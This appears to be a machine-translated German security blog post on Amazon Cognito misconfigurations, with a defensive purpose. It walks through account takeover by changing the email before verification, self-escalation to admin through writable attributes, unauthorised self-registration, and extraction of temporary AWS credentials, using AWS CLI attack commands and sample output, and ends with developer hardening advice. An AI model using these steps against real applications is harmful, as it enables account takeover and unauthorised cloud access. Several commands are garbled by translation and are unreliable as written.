Fehlkonfiguration von Amazon Cognito

Mar 14 2023
geschrieben von Mohamed Lakhdar Metidji In den letzten Jahren hat sich Amazon Web Services (AWS) zu einer beliebten Wahl für Unternehmen entwickelt, die ihre Webanwendungen in der Cloud hosten möchten. Einer der am weitesten verbreiteten AWS-Dienste ist Amazon Cognito, ein Benutzerauthentifizierungs- und Identitätsverwaltungsdienst.

geschrieben von Mohamed Lakhdar Metidji

In den letzten Jahren haben sich Amazon Web Services (AWS) zu einer beliebten Wahl für Unternehmen entwickelt, die ihre Webanwendungen in der Cloud hosten möchten. Einer der am weitesten verbreiteten AWS-Dienste ist Amazon Cognito, ein Benutzerauthentifizierungs- und Identitätsverwaltungsdienst. Eine falsch konfigurierte Amazon Cognito-Instanz kann jedoch dazu führen, dass vertrauliche Benutzerdaten offengelegt werden, was möglicherweise zu Datenschutzverletzungen und anderen Sicherheitsrisiken führt.

Erstens

Was ist Amazon Cognito?

Amazon Cognito ist ein vollständig verwalteter Service von AWS, der Benutzerauthentifizierung, Autorisierung und Benutzerverwaltung für Web- und mobile Anwendungen bietet. Es ermöglicht Entwicklern, ihren Anwendungen ganz einfach Benutzerregistrierung, Anmeldung und Zugriffskontrolle hinzuzufügen sowie die Integration mit Drittanbieter-Identitätsanbietern wie Facebook, Google und Amazon. Amazon Cognito unterstützt außerdem die Multi-Faktor-Authentifizierung und die Synchronisierung von Benutzerdaten zwischen Geräten.

Wie funktioniert es?

Amazon Cognito besteht aus zwei Hauptkomponenten:

  1. 1. Benutzerpools : Diese Komponente bietet Benutzerregistrierungs-, Anmelde- und Authentifizierungsfunktionen für Web- und mobile Anwendungen. Mit Benutzerpools können Sie ein Benutzerverzeichnis erstellen und verwalten, den Authentifizierungsprozess anpassen und eine Integration mit Identitätsanbietern von Drittanbietern durchführen.
  2. Benutzerpool

Dieses JWT wird mit dem RS256-Algorithmus signiert . Dieser Algorithmus besteht aus einem privaten Schlüssel zum Signieren der Nutzlast und einem öffentlichen Schlüssel zur Überprüfung der Gültigkeit der Nutzlast.

  1. 2. Identitätspools: Mit dieser Komponente können Sie Benutzern, die sich über Benutzerpools, soziale Identitätsanbieter oder andere Identitätsanbieter von Drittanbietern authentifiziert haben, vorübergehenden, eingeschränkten Zugriff auf Ihre AWS-Ressourcen gewähren. Mithilfe von Identitätspools können Sie den Zugriff auf Ihre Ressourcen anhand von Benutzeridentitäten steuern und authentifizierten Benutzern einen nahtlosen und sicheren Zugriff auf AWS-Dienste ermöglichen.
  2. Pool identifizieren

Was für Fehlkonfigurationen in Amazon Cognito?

Fehlkonfigurationen in Amazon Cognito beziehen sich auf Fehler oder Versäumnisse bei der Konfiguration des Dienstes, die zu Sicherheitslücken führen können. Diese Fehlkonfigurationen können unbefugten Zugriff auf Benutzerkonten oder sensible Daten ermöglichen, die Vertraulichkeit oder Integrität von Daten gefährden und den Ruf des Unternehmens schädigen. Beispiele für Fehlkonfigurationen in Amazon Cognito sind unzureichende Zugriffskontrollen, mangelnde Autorisierung, falsch konfigurierte Benutzerdatenberechtigungen, fehlende Multi-Faktor-Authentifizierung usw

In diesem Artikel werde ich ein Beispiel für häufige Fehlkonfigurationen von Amazon Cognito schreiben:

Fehlkonfiguration zur Zero-Click-Kontoübernahme:

E-Mail-Attribut wird vor der Überprüfung aktualisiert

WIE ?

Flickr nutzt Amazon Cognito zur Implementierung seiner Anmeldefunktion.

Der Flow wird unter Identity.flickr.com gestartet. Über JavaScript werden die Anmeldeinformationen des Endbenutzers an cognito-idp.us-east-1.amazonaws.com gesendet, das mit Token antwortet. Abschließend werden diese Token an www.flickr.com weitergeleitet .

Der Amazon Cognito-Login implementiert eine leicht modifizierte Variante von OpenID Connect. Wenn Sie mit diesem Single-Sign-On-Protokoll vertraut sind, werden Sie das folgende Auth erkennen. Anfrage und Auth. Antwort:

####

POST / HTTP/2-
Host: cognito-idp.us-east-1.amazonaws.com
[…]
{
„AuthFlow“:“USER_PASSWORD_AUTH“,
„ClientId“:“3ck15************ **“,
„AuthParameters“:{
„USERNAME“:“
attacker @flickr.com “,
„PASSWORD“:“[ZENSIERT]“,
„DEVICE_KEY“:“us-east-1_070[…]“
},
„ClientMetadata“ :
{
}
}

####

Wenn die bereitgestellten Anmeldeinformationen gültig sind, antwortet Cognito mit Token:

####

HTTP/2 200 OK
[…]
{
„AuthenticationResult“:
{
„AccessToken“:“[ZENSIERT]“,
„ExpiresIn“:3600,
„IdToken“:“[ZENSIERT]“,
„RefreshToken“:“[ZENSIERT]“,
„TokenType“:“Bearer“
},
„ChallengeParameters“:
{
}
}

####

Flickr nutzt einen Benutzerpool, um seine Benutzer zu organisieren. Durch die Verwendung des access_token mit dem AWS CLI- Tool können wir testen, welche Aktionen in den Geltungsbereich unseres Tokens fallen.
Mithilfe der API ist es möglich, einige Benutzerattribute zu ändern – einschließlich der verknüpften E-Mail-Adresse:

über diesen Befehl:

$ aws cognito-idp update-user-attributes – Region US-East-1 – Zugriffstoken eyJraW****** – user-attributes ' Name=E-Mail, Wert= Opfer-E-Mail @email.com

Um die Kontoübernahme abzuschließen, meldet sich der Forscher mit der bösartigen, ähnlichen E-Mail-Adresse und dem Passwort des Angreifers an.

Vollständiger Bericht: https://hackerone.com/reports/1342088

AWS hat eine neue Sicherheitskonfiguration eingeführt, um dieses Problem zu entschärfen. Wenn Sie also explizit die Option „Originalattributwert aktiv beibehalten, wenn ein Update aussteht“ aktiviert haben, wird das E-Mail-Attribut erst nach der Überprüfung auf die neue E-Mail-Adresse aktualisiert.

Dabei handelt es sich um eine neue Sicherheitskonfiguration, die erst nach Juni 2022 eingeführt wurde, was bedeutet, dass viele Anwendungen möglicherweise immer noch falsch konfiguriert sind

Fehlkonfiguration zur Rechteausweitung:

Rechteausweitung durch beschreibbare Benutzerattribute:

Im Kontext von AWS Cognito kann es zu einer Privilegieneskalation durch beschreibbare Benutzerattribute kommen, wenn ein Benutzer seine eigenen Attribute so ändern kann, dass ihm zusätzliche Berechtigungen gewährt werden, die über die Berechtigungen hinausgehen, die ihm zustehen.

WIE?

Beispielsweise lädt ein Administrator einen Benutzer ein, weist ihm die Rolle eines Lesers zu und sendet die Einladung dann per E-Mail. Was passiert, wenn der Benutzer ein Angreifer ist und seine Rolle in „Administrator“ ändert?

Mit den gleichen Schritten wie im alten Beispiel „Flickr“ können wir mithilfe des access_token mit dem AWS CLI- Tool testen, welche Aktionen in den Geltungsbereich unseres Tokens fallen.
Mit der API kann man einige Benutzerattribute ändern – einschließlich Rollen.
Nehmen wir an, die Metadaten des Benutzers sehen so aus:

####

{
„Benutzername“: „e2[…]“,
„Benutzerattribute“: [
{
„Name“: „sub“,
„Wert“: „e28[…]“
},
{
„Name“: „Rolle“,
„Wert“ : „reader“
},
{
„Name“: „email_verified“,
„Value“: „true“
),
{
„Name“: „email“,
„Value“: „
[email protected]
}
]
}

####

Mit diesem Befehl kann der Benutzer mithilfe des AWS CLI- Tools seine Rolle vom Leser zum Administrator ändern:

$ aws cognito-idp update-user-attributes – Region us-east-1 – Zugriffstoken eyJraW****** – user-attributes ' Name=role,Value= admin

Sobald Sie dies erneut überprüfen, verwenden Sie diese einfache GetUser- Aktion über diesen Befehl:

$ aws cognito-idp get-user – Region us-east-1 – Zugriffstoken eyJr********

Ihre Metadaten sehen folgendermaßen aus:

####

{
„Benutzername“: „e2[…]“,
„Benutzerattribute“: [
{
„Name“: „sub“,
„Wert“: „e28[…]“
},
{
„Name“: „Rolle“,
„Wert“ : „admin“
},
{
„Name“: „email_verified“,
„Value“: „true“
),
{
„Name“: „email“,
„Value“: „
[email protected]
}
]
}

####

Authentifizierungsumgehung aufgrund der aktivierten Signup-API-Aktion:

Anwendungen, die keine Benutzerregistrierung anbieten und nur die administrative Bereitstellung von Konten unterstützen, könnten anfällig sein, wenn sie die Anmelde-API nicht ordnungsgemäß deaktivieren. Sie können dem Risiko einer unbefugten Kontoerstellung durch Angreifer ausgesetzt sein. Dies kann besonders gefährlich für Administrator-Anmeldeportale sein, die AWS Cognito verwenden, da Angreifer die Authentifizierung umgehen und Zugriff auf vertrauliche Informationen erhalten oder nicht autorisierte Aktionen ausführen können.

WIE?

Dazu gehören Administrator-Anmeldeportale, die AWS Cognito implementieren und dadurch eine Umgehung der Authentifizierung ermöglichen.

In diesem Beispiel gibt es keine Anmeldung zum Erstellen eines Kontos, da sich nur Administratoren anmelden können

Beim Erstellen eines neuen Benutzerpools ist möglicherweise standardmäßig die Selbstregistrierung aktiviert, sodass Benutzer sich selbst für ein Konto anmelden können.

Beispiel

Der Angreifer benötigt lediglich die Client-ID und die Region, um die Selbstregistrierung zu testen.

Der Angreifer kann sich über diesen Befehl mit dem AWS CLI- Tool registrieren:

$ aws cognito-idp-Anmeldung – Client-ID <Client-ID> – Benutzername <E-Mail-Adresse> – Passwort <Passwort> – Region <Region>

Eine erfolgreiche Anmeldung sieht so aus:

###

{
„CodeDeliveryDetailsList“:[

{
„Destination“:“m***@w***“,
„DeliveryMedium“:“EMAIL“,
„AttributeName“:“email“
}
]
}

###

Im Falle einer erfolgreichen Selbstregistrierung wird ein 6-stelliger Bestätigungscode an die E-Mail-Adresse des Angreifers gesendet.

nur ein Beispiel

Der Angreifer kann das Konto mit diesem Befehl bestätigen:

$ aws cognito-idp Bestätigungsanmeldung – Kunden-ID <Kunden-ID> – Benutzername <E-Mail-Adresse> – Bestätigungscode <Bestätigungscode> – Region <Region>

Abrufen temporärer AWS-Anmeldeinformationen mithilfe eines authentifizierten Benutzers:

Das Abrufen temporärer AWS-Anmeldeinformationen mithilfe eines authentifizierten Benutzers erfordert die Verwendung des AWS Security Token Service (STS), um temporäre Anmeldeinformationen für eine IAM-Rolle mit den erforderlichen Berechtigungen für den Zugriff auf AWS-Ressourcen zu generieren. Es sollten geeignete Sicherheitsmaßnahmen implementiert werden, um sicherzustellen, dass der Benutzer über die erforderlichen Berechtigungen verfügt. Außerdem sollten Zugriffskontrollen und Prüfprotokolle vorhanden sein, um den Zugriff auf AWS-Ressourcen mithilfe der temporären Anmeldeinformationen zu überwachen und zu verfolgen.

Um die AWS-Anmeldeinformationen zu generieren, müssen wir die Identitätspool-ID finden, die normalerweise im Quellcode, in einer gebündelten JS-Datei oder in der HTTP-Antwort fest codiert ist.

● Client-ID

● Benutzerpool-ID

● Region

Zum Beispiel :

js-Datei verliert die AWS-Anmeldeinformationen (Benutzerpool-ID, Benutzerpool-ID, Region)

sobald der Angreifer Zugriff auf diese Anmeldeinformationen hat

Wie kann er sie ausnutzen?

Ein Angreifer kann die vorherige Identitäts-ID verwenden, um AWS-Anmeldeinformationen zu generieren. Verwenden Sie AWS Cli wie folgt

$ aws cognito-identity get-credentials-for-identity – Identitäts-ID <Identitäts-ID> – Region <Region>

Die Metadaten sehen so aus

###

{
„IdentityId“: „us-west-2:*********“,
„Credentials“: [
{
„AccessKeyId“: „******“,
„SecretKey“: „*** ******“,
„SessionToken“: „********“
}
]
}

###

Jetzt kann der Angreifer mit einem Tool wie dem folgenden die mit diesen Anmeldeinformationen verbundenen Berechtigungen auflisten:

Enumerate-iam :https://github.com/andresriancho/enumerate-iam

Scout-Suite :https://github.com/nccgroup/ScoutSuite

$ ./enumerate-iam.py – Zugriffsschlüssel <AccessKeyID> – Geheimschlüssel <SecretKey> – Sitzungstoken <SessionToken>

ein Beispiel für das Tool „enumerate-iam“, wie es funktioniert

Abschluss

Dies sind einige der häufigsten und schwerwiegenden Amazon Cognito-Konfigurationsprobleme, die identifiziert wurden und durch verschiedene Lösungen behoben werden können.

Richtlinien für Entwickler:

  1. Stellen Sie sicher, dass Sie alle vertraulichen Informationen, wie z. B. die Cognito Identity Pool-ID, aus den vom Server gesendeten Antworten entfernen.
  2. Wenn es nicht benötigt wird, deaktivieren Sie die Anmeldefunktion in AWS Cognito.
  3. Wenn es keinen Zweck hat, deaktivieren Sie die nicht authentifizierte Rolle.
  4. Überprüfen Sie die IAM-Richtlinie, die sowohl mit authentifizierten als auch mit nicht authentifizierten Rollen verknüpft ist, um sicherzustellen, dass nur der minimal erforderliche Zugriff gewährt wird.
  5. Bewerten Sie alle Benutzerattribute und entziehen Sie die Schreibberechtigung, wenn diese nicht erforderlich ist.
  6. Beachten Sie, dass der Wert des E-Mail-Attributs möglicherweise eine E-Mail-Adresse enthält, die nicht verifiziert wurde